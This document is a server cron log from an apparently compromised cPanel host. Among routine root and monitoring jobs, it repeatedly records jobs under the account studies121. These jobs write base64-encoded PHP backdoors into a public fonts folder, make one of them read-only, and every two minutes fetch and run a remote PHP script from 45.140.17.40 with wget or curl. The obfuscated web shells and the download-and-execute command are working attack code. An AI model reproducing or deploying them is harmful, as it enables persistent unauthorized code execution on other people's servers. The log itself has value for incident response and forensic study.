Sep 10 07:10:01 ip-184-168-122-23 CROND[23992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:10:01 ip-184-168-122-23 CROND[23990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:10:01 ip-184-168-122-23 CROND[23989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:10:01 ip-184-168-122-23 CROND[23994]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 07:10:01 ip-184-168-122-23 CROND[23995]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 07:11:02 ip-184-168-122-23 CROND[24118]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:11:02 ip-184-168-122-23 CROND[24120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:11:02 ip-184-168-122-23 CROND[24121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:11:02 ip-184-168-122-23 CROND[24122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:12:01 ip-184-168-122-23 CROND[24244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:12:02 ip-184-168-122-23 CROND[24247]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:12:02 ip-184-168-122-23 CROND[24248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:12:02 ip-184-168-122-23 CROND[24246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:12:02 ip-184-168-122-23 CROND[24250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:13:02 ip-184-168-122-23 CROND[24624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:13:02 ip-184-168-122-23 CROND[24627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:13:02 ip-184-168-122-23 CROND[24626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:13:02 ip-184-168-122-23 CROND[24628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:14:01 ip-184-168-122-23 CROND[24737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:14:01 ip-184-168-122-23 CROND[24741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:14:01 ip-184-168-122-23 CROND[24742]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:14:01 ip-184-168-122-23 CROND[24739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:14:01 ip-184-168-122-23 CROND[24740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:15:02 ip-184-168-122-23 CROND[24912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:15:02 ip-184-168-122-23 CROND[24913]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 07:15:02 ip-184-168-122-23 CROND[24917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:15:02 ip-184-168-122-23 CROND[24914]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 07:15:02 ip-184-168-122-23 CROND[24915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:15:02 ip-184-168-122-23 CROND[24916]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:16:01 ip-184-168-122-23 CROND[25020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:16:02 ip-184-168-122-23 CROND[25024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:16:02 ip-184-168-122-23 CROND[25025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:16:02 ip-184-168-122-23 CROND[25026]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 07:16:02 ip-184-168-122-23 CROND[25027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:16:02 ip-184-168-122-23 CROND[25028]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:17:01 ip-184-168-122-23 CROND[25226]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:17:01 ip-184-168-122-23 CROND[25228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:17:01 ip-184-168-122-23 CROND[25229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:17:01 ip-184-168-122-23 CROND[25230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:18:01 ip-184-168-122-23 CROND[25462]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:18:01 ip-184-168-122-23 CROND[25465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:18:01 ip-184-168-122-23 CROND[25464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:18:01 ip-184-168-122-23 CROND[25467]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:18:01 ip-184-168-122-23 CROND[25466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:19:01 ip-184-168-122-23 CROND[25595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:19:01 ip-184-168-122-23 CROND[25597]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:19:01 ip-184-168-122-23 CROND[25598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:19:01 ip-184-168-122-23 CROND[25600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:20:01 ip-184-168-122-23 CROND[25832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:20:01 ip-184-168-122-23 CROND[25831]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 07:20:01 ip-184-168-122-23 CROND[25835]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:20:01 ip-184-168-122-23 CROND[25839]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 07:20:01 ip-184-168-122-23 CROND[25840]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 07:20:01 ip-184-168-122-23 CROND[25841]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 07:20:01 ip-184-168-122-23 CROND[25842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:20:01 ip-184-168-122-23 CROND[25838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:20:01 ip-184-168-122-23 CROND[25844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:21:02 ip-184-168-122-23 CROND[25967]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:21:02 ip-184-168-122-23 CROND[25969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:21:02 ip-184-168-122-23 CROND[25970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:21:02 ip-184-168-122-23 CROND[25971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:22:01 ip-184-168-122-23 CROND[26089]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:22:01 ip-184-168-122-23 CROND[26091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
